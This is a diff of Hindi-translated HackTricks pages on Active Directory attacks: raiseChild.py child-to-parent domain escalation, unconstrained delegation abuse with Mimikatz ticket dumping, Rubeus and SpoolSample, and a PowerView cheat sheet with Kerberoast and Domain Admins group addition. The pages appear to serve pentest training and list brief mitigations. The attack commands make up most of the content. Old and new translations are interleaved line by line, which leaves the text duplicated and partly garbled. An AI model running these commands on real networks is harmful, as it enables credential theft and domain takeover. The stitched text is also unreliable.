#### स्वचालित रूप से [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) का उपयोग
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
यह एक Impacket स्क्रिप्ट है जो **बच्चे से माता-पिता डोमेन में उन्नति को स्वचालित करेगा**। स्क्रिप्ट को आवश्यकता है:
यह एक Impacket स्क्रिप्ट है जो **चाइल्ड से पैरेंट डोमेन में बढ़ने की प्रक्रिया को स्वचालित करेगी**। स्क्रिप्ट को आवश्यकता है:
* लक्ष्य डोमेन कंट्रोलर
* बच्चे डोमेन में एडमिन उपयोगकर्ता के लिए Creds
* लक्षित डोमेन कंट्रोलर
* चाइल्ड डोमेन में एक एडमिन यूजर के लिए क्रेडेंशियल्स
प्रवाह है:
प्रक्रिया इस प्रकार है:
* माता-पिता डोमेन के एंटरप्राइज एडमिन्स समूह के लिए SID प्राप्त करता है
* बच्चे डोमेन में KRBTGT खाते के लिए हैश पुनः प्राप्त करता है
* एक Golden Ticket बनाता है
* माता-पिता डोमेन में लॉगिन करता है
* माता-पिता डोमेन में व्यवस्थापक खाते के लिए क्रेडेंशियल पुनः प्राप्त करता है
* यदि `target-exec` स्विच निर्दिष्ट किया गया है, तो यह माता-पिता डोमेन के डोमेन कंट्रोलर के माध्यम से Psexec के माध्यम से प्रमाणीकरण करता है।
* पैरेंट डोमेन के एंटरप्राइज एडमिन्स ग्रुप के लिए SID प्राप्त करता है
* चाइल्ड डोमेन में KRBTGT खाते के लिए हैश प्राप्त करता है
* एक गोल्डन टिकट बनाता है
* पैरेंट डोमेन में लॉग इन करता है
* पैरेंट डोमेन में एडमिनिस्ट्रेटर खाते के लिए क्रेडेंशियल्स प्राप्त करता है
* यदि `target-exec` स्विच निर्दिष्ट किया गया है, तो यह Psexec के माध्यम से पैरेंट डोमेन के डोमेन कंट्रोलर के लिए प्रमाणीकरण करता है।
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
@ -141,14 +154,17 @@ raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,61 +1,79 @@
# असीमित डिलीगेशन
# Unconstrained Delegation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## असीमित डिलीगेशन
## Unconstrained delegation
यह एक सुविधा है जिसे डोमेन प्रशासक किस**कंप्यूटर** पर सेट कर सकता है। फिर, जब भी कोई **उपयोगकर्ता कंप्यूटर पर लॉगिन करता है**, तो उस उपयोगकर्ता का **एक प्रतिलिपि TGT** डीसी द्वारा प्रदान किए गए TGS में **भेजी जाएगी और LSASS में मेमोरी में सहेजी जाएगी**। इसलिए, अगर आपके पास मशीन पर प्रशासक विशेषाधिकार हैं, तो आप **टिकट्स को डंप करके उपयोगकर्ताओं का अनुकरण** कर सकेंगे
यह एक विशेषता है जिसे एक डोमेन प्रशासक डोमेन के अंदर किसी भ**कंप्यूटर** पर सेट कर सकता है। फिर, जब भी कोई **उपयोगकर्ता उस कंप्यूटर पर लॉगिन करता है**, उस उपयोगकर्ता का **TGT की एक प्रति** **DC द्वारा प्रदान किए गए TGS के अंदर भेजी जाएगी** **और LSASS में मेमोरी में सहेजी जाएगी**। इसलिए, यदि आपके पास मशीन पर प्रशासक विशेषाधिकार हैं, तो आप **टिकटों को डंप कर सकते हैं और किसी भी मशीन पर उपयोगकर्ताओं का अनुकरण कर सकते हैं**
तो यदि डोमेन प्रशासक "असीमित डिलीगेशन" सुविधा सक्रिय करके किसी कंप्यूटर में लॉगिन करता है, और आपके पास उस मशीन में स्थानीय प्रशासक विशेषाधिकार हैं, तो आप टिकट को डंप करके डोमेन प्रशासक का अनुकरण कहीं भी कर सकेंगे (डोमेन प्राइवेस्क)।
तो यदि एक डोमेन प्रशासक "अनकॉनस्ट्रेन्ड डेलीगेशन" विशेषता सक्रिय करके किसी कंप्यूटर पर लॉगिन करता है, और आपके पास उस मशीन के अंदर स्थानीय प्रशासक विशेषाधिकार हैं, तो आप टिकट को डंप करहैं और कहीं भी डोमेन प्रशासक का अनुकरण कर सकते हैं (डोमेन प्रिवेस्क)।
आप **इस गुणवत्ता वाले कंप्यूटर ऑब्जेक्ट्स को खोज सकते हैं** जांच करके कि [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) विशेषता में [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) शामिल है। आप इसे एलडीएपी फ़िल्टर के साथ कर सकते हैं (userAccountControl:1.2.840.113556.1.4.803:=524288), जो पावरव्यू करता है:
आप इस विशेषता के साथ कंप्यूटर ऑब्जेक्ट्स **खोज सकते हैं** यह जांचकर कि [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) विशेषता में [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) शामिल है या नहीं। आप इसे (userAccountControl:1.2.840.113556.1.4.803:=524288) के LDAP फ़िल्टर के साथ कर सकते हैं, जो पॉवव्यू करता है:
<pre class="language-bash"><code class="lang-bash"># असीमित कंप्यूटरों की सूची
## पावरव्यू
Get-NetComputer -Unconstrained #डीसी हमेशा दिखाई देते हैं लेकिन प्राइवेस्क के लिए उपयोगी नहीं हैं
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&#x26;(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Mimikatz के साथ टिकट्स निर्यात करें
<strong># Export tickets with Mimikatz
</strong>privilege::debug
sekurlsa::tickets /export #सिफारिश की गई तरीका
kerberos::list /export #एक और तरीका
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# लॉगिन को मॉनिटर करें और नए टिकट्स निर्यात करें
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #10 सेकंड में नए TGTs के लिए हर 10 सेकंड जांचें</code></pre>
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #Check every 10s for new TGTs</code></pre>
**Mimikatz** या **Rubeus** के साथ प्रशासक (या पीड़ित उपयोगकर्ता) का टिकट मेमोरी में लोड करें [**पास द टिकट**](pass-the-ticket.md)** के लिए**।\
**Mimikatz** या **Rubeus** के साथ प्रशासक (या पीड़ित उपयोगकर्ता) का टिकट मेमोरी में लोड करें **[**पास द टिकट**](pass-the-ticket.md)** के लिए।\
अधिक जानकारी: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**असीमित डिलीगेशन के बारे में अधिक जानकारी ired.team में।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
[**अनकॉनस्ट्रेन्ड डेलीगेशन के बारे में अधिक जानकारी ired.team पर।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **बल प्रमाणीकरण**
### **Force Authentication**
यदि एक हमलावर किसी कंप्यूटर को **"असीमित डिलीगेशन" के लिए अनुमति देने में सक्षम है**, तो वह एक **प्रिंट सर्वर** को **धोखा दे सकता है** कि वह खुद को **स्वचालित रूप से लॉगिन करेगा** जिससे सर्वर की मेमोरी में एक TGT सहेजा जाएगा।\
फिर, हमलावर उपयोगकर्ता प्रिंट सर्वर कंप्यूटर खाते का अनुकरण करने के लिए **पास द टिकट हमला** कर सकता है
यदि एक हमलावर **"अनकॉनस्ट्रेन्ड डेलीगेशन" के लिए अनुमत कंप्यूटर को समझौता करने में सक्षम है**, तो वह **प्रिंट सर्वर** को **स्वचालित रूप से लॉगिन** करने के लिए **धोखा दे सकता है** जिससे **सर्वर की मेमोरी में एक TGT सहेजा जाएगा**।\
फिर, हमलावर **उपयोगकर्ता प्रिंट सर्वर कंप्यूटर खाते का अनुकरण करने के लिए एक पास द टिकट हमले का प्रदर्शन कर सकता है**
किसी भी मशीन के खिलाफ प्रिंट सर्वर लॉगिन करने के लिए आप [**SpoolSample**](https://github.com/leechristensen/SpoolSample) का उपयोग कर सकते हैं:
किसी भी मशीन के खिलाफ प्रिंट सर्वर को लॉगिन करने के लिए आप [**SpoolSample**](https://github.com/leechristensen/SpoolSample) का उपयोग कर सकते हैं:
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
यदि TGT एक डोमेन कंट्रोलर से है, तो आप एक **DCSync हमला** कर सकते हैं और DC से सभी हैश प्राप्त कर सकते हैं।\
[**इस हमले के बारे में अधिक जानकारी ired.team में।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
यदि TGT एक डोमेन कंट्रोलर से है, तो आप एक [**DCSync attack**](acl-persistence-abuse/#dcsync) कर सकते हैं और DC से सभी हैश प्राप्त कर सकते हैं।\
[**इस हमले के बारे में अधिक जानकारी ired.team पर।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**यहाँ अन्य तरीके हैं जिनसे प्रमाणीकरण को मजबूर करने की कोशिश की जा सकती है:**
**यहाँ प्रमाणीकरण को मजबूर करने के अन्य तरीके हैं:**
{% content-ref url="printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
{% endcontent-ref %}
### संशोध
### शम
* DA/Admin लॉगिन को विशेष सेवाओं पर सीमित करें
* विशेषाधिकारी खातों के लिए "खाता संवेदनशील है और यह अनुप्रेषित नहीं किया जा सकता" सेट करें।
* DA/एडमिन लॉगिन को विशिष्ट सेवाओं तक सीमित करें
* विशेषाधिकार प्राप्त खातों के लिए "खाता संवेदनशील है और इसे प्रतिनिधित्व नहीं किया जा सकता" सेट करें।
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,27 +1,30 @@
# PowerView/SharpView
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerView का सबसे अद्यतन संस्करण हमेशा PowerSploit क dev शाखा में होगा: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
PowerView का सबसे अद्यतन संस्करण हमेशा PowerSploit क dev शाखा में होगा: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) एक .NET पोर्ट है [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### त्वरित गणना
### Quick enumeration
```powershell
Get-NetDomain #Basic domain info
#User info
@ -75,7 +78,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### उपयोगकर्ता, समूह, कंप्यूटर और ओयूs
### उपयोगकर्ता, समूह, कंप्यूटर और OU
```powershell
# Users
## Get usernames and their groups
@ -141,7 +144,7 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### लॉगन और सत्र
### लॉगिन और सत्र
```powershell
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
@ -149,10 +152,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### समूह नीति वस्तु - जीपीओ
### Group Policy Object - GPOs
यदि किसी हमलावर के पास **जीपीओ पर उच्च विशेषाधिकार** होते हैं, तो वह इसका दुरुपयोग करके **उच्चतम अधिकार (privesc)** प्राप्त कर सकता है, **एक उपयोगकर्ता को अनुमतियाँ जोड़ सकता है**, **किसी होस्ट पर स्थानीय व्यवस्थापक उपयोगकर्ता जोड़ सकता है** या **किसी कार्रवाई को करने के लिए एक निर्धारित कार्य (तत्काल) बना सकता है।\
[**इसके बारे में अधिक जानकारी और इसका दुरुपयोग कैसे करें, उसके लिए इस लिंक का पालन करें**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
यदि एक हमलावर के पास **GPO पर उच्च विशेषाधिकार** हैं, तो वह **privesc** का उपयोग करके **एक उपयोगकर्ता को अनुमतियाँ जोड़ने**, **एक स्थानीय व्यवस्थापक उपयोगकर्ता** को एक होस्ट में जोड़ने या **एक अनुसूचित कार्य** (तत्काल) बनाने में सक्षम हो सकता है।\
[**इस बारे में अधिक जानकारी और इसे कैसे दुरुपयोग करना है, इस लिंक का पालन करें**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +189,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
सीखें कैसे **GPOs और ACLs पर अनुमतियों का शोषण करें**:
सीखें कि **GPOs और ACLs पर अनुमतियों का लाभ कैसे उठाना है**:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -219,7 +222,7 @@ Get-NetFileServer #Search file servers. Lot of users use to be logged in this ki
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### डोमेन विश्वास
### डोमेन ट्रस्ट
```powershell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
@ -236,7 +239,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### निम्न **लटकते** **फल**
### L**ow**-**hanging fruit**
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -280,24 +283,24 @@ Invoke-UserHunter -Stealth
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### विविध
### MISC
#### SID से नाम
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### केर्बेरोस्ट
#### Kerberoast
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### विभिन्न क्रेडेंशियल का उपयोग (विवाद)
#### विभिन्न क्रेडेंशियल्स का उपयोग करें (आर्गुमेंट)
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### उपयोगकर्ता का अनुकरण
#### एक उपयोगकर्ता का अनुकरण करें
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@ -321,14 +324,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more